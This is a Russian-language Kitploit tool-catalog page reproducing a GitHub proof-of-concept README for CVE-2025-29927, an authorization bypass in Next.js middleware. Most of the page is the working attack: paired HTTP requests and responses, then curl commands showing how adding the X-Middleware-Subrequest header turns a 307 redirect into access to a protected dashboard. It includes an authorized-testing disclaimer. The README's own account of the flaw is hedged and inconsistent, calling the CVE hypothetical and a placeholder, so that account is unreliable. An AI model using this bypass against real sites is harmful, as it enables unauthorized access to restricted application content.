Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-29927-POC — Authorization Bypass in Next.js Middleware | Kitploit
Инструменты/GitHubGitHub/muhammadwaseem29/cve-2025-29927-poc
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmuhammadwaseem29/cve-2025-29927-poc

CVE-2025-29927-POC

Authorization Bypass in Next.js Middleware

Репозиторий
931 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2025-29927-POC

Введение

Этот репозиторий содержит доказательство концепции (Proof of Concept, PoC) для CVE-2025-29927 — гипотетической уязвимости, демонстрирующей ошибку в обработке middleware в веб-приложении. PoC показывает, как специально сформированный HTTP-запрос может обойти логику перенаправления для доступа к ограниченному контенту, такому как панель управления. Данный проект предназначен исключительно для образовательных целей и исследований в области безопасности.

Отказ от ответственности: Данный PoC предназначен для использования только в контролируемых средах с явного разрешения. Несанкционированное тестирование систем, которыми вы не владеете или на тестирование которых у вас нет согласия, является незаконным и неэтичным.


Содержание

  • Предварительные требования
  • Обзор уязвимости
  • Шаги доказательства концепции
    • Шаг 1: Исходный запрос (неуспешный)
    • Шаг 2: Модифицированный запрос (успешный)
  • Как воспроизвести
  • Ссылки
  • Участие
  • Лицензия

Предварительные требования

Для выполнения данного PoC вам понадобятся:

  • Целевой сервер (например, abc.com), работающий с уязвимой конфигурацией (конкретное программное обеспечение/версия будут уточнены на основе данных о CVE).
  • HTTP-клиент, такой как curl (curl.se), Burp Suite (portswigger.net/burp) или собственный скрипт.
  • Базовые знания протокола HTTP и заголовков (см. MDN HTTP Documentation).

Обзор уязвимости

CVE-2025-29927 (заполнитель; замените на официальные детали CVE, когда они станут доступны) по-видимому, использует ошибку конфигурации или логики в middleware. PoC демонстрирует, что добавление пользовательского заголовка (X-Middleware-Subrequest) изменяет поведение сервера, обходя механизм перенаправления для доступа к ограниченному контенту. Вероятно, это связано с тем, как middleware (например, Nginx с Next.js) обрабатывает подзапросы или проверяет заголовки.

Для получения дополнительной информации об уязвимостях middleware обратитесь к OWASP Middleware Security.


Шаги доказательства концепции

PoC состоит из двух шагов: исходного неуспешного запроса и модифицированного успешного запроса. Каждый шаг включает HTTP-запрос, ответ и подробное объяснение.

Шаг 1: Исходный запрос (неуспешный)

Этот шаг демонстрирует поведение сервера по умолчанию при доступе к конечной точке /dashboard без дополнительных заголовков.

HTTP-запрос

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP-ответ

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Объяснение

  • Детали запроса:
    • GET /dashboard: Попытка доступа к конечной точке панели управления.
    • Стандартные заголовки, такие как User-Agent и Accept, имитируют типичный браузерный запрос.
  • Детали ответа:
    • 307 Temporary Redirect: Указывает, что сервер перенаправляет клиента, вероятно, из-за аутентификации, авторизации или логики маршрутизации (например, перенаправление на страницу входа).
    • Server: nginx/1.14.1: Идентифицирует веб-сервер.
  • Анализ: Перенаправление предполагает наличие защитного механизма, препятствующего прямому доступу к /dashboard. Отсутствие заголовка Location в этом ответе (возможно, опущено для краткости) означает, что адрес перенаправления находится в другом месте.
  • Ссылка: Узнайте больше о кодах состояния HTTP на MDN HTTP Status.

Шаг 2: Модифицированный запрос (успешный)

На этом шаге вводится пользовательский заголовок для обхода перенаправления и успешного получения содержимого панели управления.

HTTP-запрос

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP-ответ

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Объяснение

  • Детали запроса:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Пользовательский заголовок, добавленный к исходному запросу. Повторяющаяся строка middleware может эксплуатировать ошибку парсинга или проверки в цепочке middleware.
    • Остальные заголовки остались без изменений по сравнению с Шагом 1.
  • Детали ответа:
    • 200 OK: Подтверждает успешный доступ к содержимому панели управления.
    • Content-Type: text/html; charset=utf-8: Указывает на HTML-ответ, скорее всего, страницу панели управления.
    • X-Powered-By: Next.js: Предполагает, что приложение использует Next.js — фреймворк React, который часто полагается на middleware для маршрутизации.
    • Cache-Control: Запрещает кеширование, что типично для динамического, пользовательского контента.
    • Content-Length: 30174: Размер тела ответа в байтах.
  • Анализ: Заголовок X-Middleware-Subrequest, вероятно, заставляет middleware обрабатывать запрос как легитимный подзапрос, обходя логику перенаправления. Это может указывать на уязвимость в том, как проверяются или обрабатываются подзапросы.
  • Ссылка: Изучите middleware Next.js в .

Как воспроизвести

Выполните следующие шаги для воспроизведения PoC с помощью curl:

Шаг 1: Отправьте исходный запрос

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Ожидаемый результат: Ответ 307 Temporary Redirect.

Шаг 2: Отправьте модифицированный запрос

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Ожидаемый результат: Ответ 200 OK с содержимым панели управления.

Примечание: Замените abc.com на фактический целевой домен при тестировании в авторизованной среде.


Ссылки

  • CVE Details — Официальная база данных CVE (обновите ссылку на конкретный CVE, когда он станет доступен).
  • MDN HTTP Documentation — Основы протокола HTTP.
  • Next.js Middleware — Информация о поведении middleware Next.js.
  • OWASP Middleware Security — Обзор уязвимостей middleware.
  • curl Manual — Руководство по использованию curl для HTTP-запросов.

Участие

Мы приветствуем вклад в этот проект! Если вы хотите предложить улучшения, исправления или дополнительные сценарии, пожалуйста, создайте issue или отправьте pull request.


Лицензия

Этот проект лицензирован на условиях лицензии MIT. Подробности см. в файле LICENSE.

Скачать инструмент
Next.js Documentation